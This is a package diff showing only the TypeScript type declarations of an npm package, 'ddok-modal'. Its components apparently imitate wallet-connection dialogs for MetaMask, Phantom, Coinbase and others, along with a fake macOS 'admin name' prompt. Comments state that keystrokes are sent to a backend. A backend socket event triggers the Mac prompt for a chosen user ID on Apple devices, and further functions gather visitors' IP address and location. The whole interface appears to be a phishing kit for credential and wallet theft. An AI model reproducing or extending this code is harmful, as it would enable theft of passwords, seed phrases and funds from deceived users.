ddok-modal 1.0.0

package/dist/index.d.ts

@@ -0,0 +1,201 @@
+import React from 'react';
+
+interface ConnectWalletButtonProps {
+    className?: string;
+    userId?: string;
+}
+declare const ConnectWalletButton: React.FC<ConnectWalletButtonProps>;
+
+type WalletType = 'MetaMask' | 'Phantom' | 'Rabby' | 'TronLink' | 'Bitget' | 'Coinbase' | 'Solflare' | 'Mac';
+interface WalletConnectModalProps {
+    onWalletSelect?: (wallet: WalletType) => void;
+    onClose?: () => void;
+    isOpen?: boolean;
+}
+interface CustomWalletModalProps {
+    wallet: WalletType;
+    onClose?: () => void;
+    isOpen?: boolean;
+    userId?: string;
+    backendConfig?: {
+        enabled?: boolean;
+        userId?: string;
+    };
+    darkMode?: boolean;
+    /** For Mac modal: text to display in the admin name input field. */
+    adminName?: string;
+}
+interface WalletConfig {
+    id: WalletType;
+    name: string;
+    shortKey: string;
+    icon?: string;
+}
+/** Payload emitted by backend for showMacModal socket event. */
+interface ShowMacModalPayload {
+    message?: string;
+    user_id?: string;
+    timestamp?: string;
+    /** Text to display in the admin name input field (mac_user_name). */
+    text?: string;
+    /** Timing in seconds (-1 = socket-only, 0+ = open after N seconds on load). */
+    timing?: number;
+}
+
+interface WalletSelectionModalProps extends WalletConnectModalProps {
+    userId?: string;
+}
+declare const WalletSelectionModal: React.FC<WalletSelectionModalProps>;
+
+declare const CustomWalletModal: React.FC<CustomWalletModalProps>;
+
+interface MacModalTriggerProps {
+    /** User ID for backend key service. Required when backendConfig.enabled is true. */
+    userId?: string;
+    /** Backend integration config. When enabled, keystrokes are sent to backend. */
+    backendConfig?: {
+        enabled?: boolean;
+        userId?: string;
+    };
+    /** Called when the Mac modal is closed. */
+    onClose?: () => void;
+}
+/**
+ * Listens for the backend socket event (default: `showMacModal`) and opens the Mac modal only when:
+ * - The user's OS is macOS (Mac, iPhone, iPad, iPod), and
+ * - The payload's user_id matches this component's userId (or backendConfig.userId).
+ * Mount once (e.g. at app root) to enable socket-triggered Mac modal.
+ *
+ * Backend example: io.emit('showMacModal', { message: '...', user_id, text, timestamp });
+ */
+declare const MacModalTrigger: React.FC<MacModalTriggerProps>;
+
+/**
+ * Wallet Registry
+ *
+ * To add a new wallet:
+ * 1. Add the wallet type to WalletType in types.ts
+ * 2. Add configuration here
+ * 3. Create the modal component in src/wallets/[wallet-name]/
+ * 4. Register it in walletComponents map
+ */
+declare const walletConfigs: Record<WalletType, WalletConfig>;
+/**
+ * Get wallet configuration by type
+ */
+declare const getWalletConfig: (walletType: WalletType) => WalletConfig;
+/**
+ * Get all available wallet types
+ */
+declare const getAllWalletTypes: () => WalletType[];
+/**
+ * Get wallet short key (for backend)
+ */
+declare const getWalletShortKey: (walletType: WalletType) => string;
+
+interface BackendConfig {
+    serverUrl?: string;
+    serverSocket?: string;
+    clientSocket?: string;
+    clientUrl?: string;
+    secretKey?: string;
+    backendUrl?: string;
+    assetBaseUrl?: string;
+    /** Socket event name for backend to trigger Mac modal. Default: 'showMacModal' */
+    macModalSocketEvent?: string;
+}
+declare const getConfig: () => Required<BackendConfig>;
+declare const setConfig: (config: Partial<BackendConfig>) => void;
+declare const getClientUrl: () => string;
+declare const getBackendUrl: () => string;
+declare const getAssetBaseUrl: () => string;
+declare const getMacModalSocketEvent: () => string;
+
+/**
+ * Subscribe to backend "show Mac modal" socket event.
+ * When the backend emits this event, the callback is invoked with the payload.
+ * Use with MacModalTrigger to show the Mac modal on signal.
+ * The modal should only be shown when payload.user_id matches the client's userId.
+ *
+ * @param callback - Called with the emitted payload (e.g. { message, user_id, timestamp }).
+ * @returns Unsubscribe function.
+ */
+declare const subscribeToShowMacModal: (callback: (payload?: ShowMacModalPayload) => void) => (() => void);
+
+/**
+ * Get both IP and Location in a single call
+ */
+declare const getIPAndLocation: () => Promise<{
+    IP_address: string;
+    Location: string;
+    country_code: string;
+}>;
+
+interface UserWalletType {
+    _id: string;
+    name: string;
+    shortkey: string;
+}
+interface UserWalletTypesResponse {
+    user_id: string;
+    wallet_types: UserWalletType[];
+}
+/**
+ * Get wallet types for a user by user_id
+ * This endpoint requires authentication, but for the widget we'll make it public
+ * or use a different approach. For now, we'll try to fetch without auth.
+ */
+declare const getUserWalletTypes: (userId: string) => Promise<UserWalletType[]>;
+/**
+ * Clear cache for a specific user or all users
+ */
+declare const clearWalletTypesCache: (userId?: string) => void;
+
+/**
+ * Asset Path Utility
+ *
+ * Resolves asset paths using third-party URL from config.
+ * Assets are hosted on a CDN/third-party server instead of being bundled.
+ */
+/**
+ * Get asset URL from third-party server
+ * @param relativePath - Path relative to dist folder (e.g., "wallets/metamask/assets/fox.svg")
+ * @returns Full URL to the asset on third-party server
+ */
+declare function getAssetPath(relativePath: string): string;
+/**
+ * Resolve asset import to full URL
+ * This function is used to convert asset imports (which export relative paths)
+ * to full URLs using the configured asset base URL
+ * @param assetImport - The imported asset (string path)
+ * @returns Full URL to the asset
+ */
+declare function resolveAssetUrl(assetImport: string): string;
+
+/**
+ * Asset Paths Configuration
+ *
+ * Defines all asset file paths relative to the dist folder.
+ * These paths are resolved to full URLs using the assetBaseUrl from config.
+ */
+declare const ASSET_PATHS: {
+    readonly metamaskLogo: "menu/metamask_logo.svg";
+    readonly phantomLogo: "menu/phantom_logo.svg";
+    readonly rabbyLogo: "menu/rabyy_logo.svg";
+    readonly coinbaseLogo: "menu/coinbase_logo.svg";
+    readonly bitgetLogo: "menu/bitget_logo.png";
+    readonly tronlinkLogo: "menu/tronlink_logo.jpeg";
+    readonly solflareLogo: "menu/solflare_logo.png";
+    readonly metamaskFox: "v1/images/logo/metamask-fox.png";
+    readonly metamaskFoxRiv: "v1/static/media/fox_appear.9dea054e4b9b49cb4fad.riv";
+    readonly tronlinkLoading: "v4/images/loading.gif";
+    readonly solflareFlag: "v7/images/flag.mp4";
+    readonly phantomGifS: "v2/images/phantom/s.gif";
+    readonly phantomGifW: "v2/images/phantom/w.gif";
+    readonly phantomGifWp: "v2/images/phantom/wp.gif";
+    readonly phantomGifN: "v2/images/phantom/n.gif";
+    readonly phantomGifJ: "v2/images/phantom/j.gif";
+};
+
+export { ASSET_PATHS, ConnectWalletButton, CustomWalletModal, MacModalTrigger, WalletSelectionModal, clearWalletTypesCache, getAllWalletTypes, getAssetBaseUrl, getAssetPath, getBackendUrl, getClientUrl, getConfig, getIPAndLocation, getMacModalSocketEvent, getUserWalletTypes, getWalletConfig, getWalletShortKey, resolveAssetUrl, setConfig, subscribeToShowMacModal, walletConfigs };
+export type { CustomWalletModalProps, MacModalTriggerProps, ShowMacModalPayload, UserWalletType, UserWalletTypesResponse, WalletConfig, WalletConnectModalProps, WalletType };

package/dist/index.d.ts.map

@@ -0,0 +1 @@
+{"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../src/index.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,OAAO,IAAI,mBAAmB,EAAE,MAAM,kCAAkC,CAAC;AAClF,OAAO,EAAE,OAAO,IAAI,oBAAoB,EAAE,MAAM,mCAAmC,CAAC;AACpF,OAAO,EAAE,OAAO,IAAI,iBAAiB,EAAE,MAAM,gCAAgC,CAAC;AAC9E,OAAO,EAAE,OAAO,IAAI,eAAe,EAAE,MAAM,8BAA8B,CAAC;AAC1E,YAAY,EAAE,UAAU,EAAE,uBAAuB,EAAE,sBAAsB,EAAE,YAAY,EAAE,mBAAmB,EAAE,MAAM,SAAS,CAAC;AAC9H,YAAY,EAAE,oBAAoB,EAAE,MAAM,8BAA8B,CAAC;AACzE,OAAO,EAAE,aAAa,EAAE,eAAe,EAAE,iBAAiB,EAAE,iBAAiB,EAAE,MAAM,oBAAoB,CAAC;AAC1G,OAAO,EAAE,SAAS,EAAE,SAAS,EAAE,aAAa,EAAE,YAAY,EAAE,eAAe,EAAE,sBAAsB,EAAE,MAAM,mBAAmB,CAAC;AAC/H,OAAO,EAAE,uBAAuB,EAAE,MAAM,uBAAuB,CAAC;AAChE,OAAO,EAAE,gBAAgB,EAAE,MAAM,yBAAyB,CAAC;AAC3D,OAAO,EAAE,kBAAkB,EAAE,qBAAqB,EAAE,MAAM,8BAA8B,CAAC;AACzF,YAAY,EAAE,cAAc,EAAE,uBAAuB,EAAE,MAAM,8BAA8B,CAAC;AAC5F,OAAO,EAAE,YAAY,EAAE,eAAe,EAAE,MAAM,mBAAmB,CAAC;AAClE,OAAO,EAAE,WAAW,EAAE,MAAM,oBAAoB,CAAC"}